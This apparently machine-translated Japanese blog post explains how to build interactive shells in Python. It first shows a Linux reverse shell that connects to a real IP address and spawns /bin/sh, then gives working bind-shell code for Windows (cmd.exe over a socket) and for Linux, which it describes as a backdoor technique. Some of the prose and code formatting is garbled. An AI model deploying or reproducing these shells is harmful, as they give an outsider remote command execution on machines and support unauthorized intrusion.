私は多くの人がlinuxの下でpythonリバースシェルコードを見たことがあると思います:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
原理は単純です。新しいソケットを作成し、システムのstdin、stdout、およびstderr(標準の入力、出力、エラー)をそれぞれ0、1、および2のソケットにリダイレクトしてから、シェルを開きます。このようにして、ソケットから渡すコマンドはシステムの標準入力(キーボード入力と同じように)に入り、システムの出力とエラーはソケットにリダイレクトされ、クライアントによって取得されます。ただし、このシェルスクリプトはLinuxでのみ使用できます。
したがって、この記事では、順方向接続のシェル、特にWindowsでのcmdshellに焦点を当てます。
私たちの唯一の要件はインタラクティブです。たとえば、ncに接続した後、cmdを開いてデフォルトのディレクトリにファイルを一覧表示する代わりに、cd xxディレクトリを実行してディレクトリに入り、dirを実行してディレクトリ内のファイルを一覧表示します。疑似インタラクティブではなく、インタラクティブである必要があります。
テスト方法もあります。 set a = 1を実行してから、echo%a%を実行します。出力が1の場合はインタラクティブであることを意味し、そうでない場合はインタラクティブではありません。
インタラクティブフォワード接続シェルについて注意すべき点がいくつかあります
**1. LinuxでもWindowsでも、インタラクティブになりたい場合は、シェルしか開くことができません。コマンドを受信するたびにシェルプロセスを起動して実行することはできません。その効果はos.system( 'command')と同様なので、それほど複雑にする必要はありません。 **** 2.Windowsのcmd.exe / Kパラメーターは、cmdが終了しないようにし、/ cパラメーターは実行後に終了します。違いに注意してください。 ****
私の以前の考えは、pythonが最初に接続を待機するための新しいソケットリスニングポートを作成したというものでした。クライアントが接続されると、シェルプロセスが開始され、プロセスの標準の入力エラーと出力エラー(stdin、stdout、stderr)がパイプラインにリダイレクトされ、パイプラインを介してpythonプログラムに接続されます。pyのサブプロセスライブラリはカプセル化されています。この機能を使用すると、新しいパイプラインを自分で作成する必要はありません。
次に、ループに入り、毎回ソケット内のデータを読み取り、それをstdinに書き込んで、パイプを介してシェルに送信します。シェルが実行された後、stdout.read()を使用して結果を読み取り、クライアントに送信します。
アイデアはシンプルで美しいですが、実際にはうまくいきません。 pythonでの読み取りは非同期ではなく、指定されたバイトを読み取るか、EOFを読み取るだけで結果が返されます。 EOFがない場合、読み取りは読み取りを続行し、プログラムはここでブロックされるため、スタックしているように見えます。 ncにdirと入力しましたが、何も返されませんでした。 pythonがオフになっている限り、結果はそこに返されます。
したがって、4つの解決策があります。
1. シェルがパイプラインに書き込んだデータのバイト数を知ることができれば、read(n)** 2でこのデータのバイトを読み取ることができます。非同期読み取り関数がある場合は、呼び出すことで問題を解決することもできます**** 3.実際には方法はありません。別のスレッドを開始してパイプラインのデータを読み取ることができます。4。パイプラインを使用せずに、シェルの入力と出力をソケットに送信します。ただし、ウィンドウで使用すると常にエラーが発生します。これについては後で説明します。 ****
アイデア1、2、私は良い方法を考えていませんでした。パイプライン内のデータのサイズを知る方法はなく、非同期読み取り関数も見つかりません。
私はアイデア3を使用して、Windowsの下にポジティブ接続コマンドシェルを作成しました。
from socket import*import subprocess
import os, threading
def send(talk, proc):import time
while True:
msg = proc.stdout.readline()
talk.send(msg)if __name__ =="__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args =(talk, proc))
t.setDaemon(True)
t.start()while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()
テストは利用可能でインタラクティブです:


マルチスレッドが使用され、新しいスレッドが開かれます。このスレッドはstdoutから排他的にデータを読み取ります。ブロックされていても、メインスレッドのソケットプロセスには影響しません。
完璧に使用できるIdea4を使用してLinuxバージョンを作成しました。
from socket import*import subprocess
import os, threading, sys, time
if __name__ =="__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
効果:

popenに直接アクセスする場合は、新しく作成したプロセスのstdin、stdout、およびstderrをソケットにリダイレクトします。これにより、パイプ通信が不要になります。これは、C言語のゼロパイプラインバックドアの原則でもあります。
しかし、理由はわかりません。Windowsバージョンを作成し、常にエラーを報告しました。

Windowsバージョンでは/ bin / shがcmd.exeに置き換えられましたが、このエラーが発生しました。
上記は、pythonでのポジティブ接続シェルの分析です。混乱している人にも役立つことを願っています。省略やエラーは誰でも修正できます。
Recommended Posts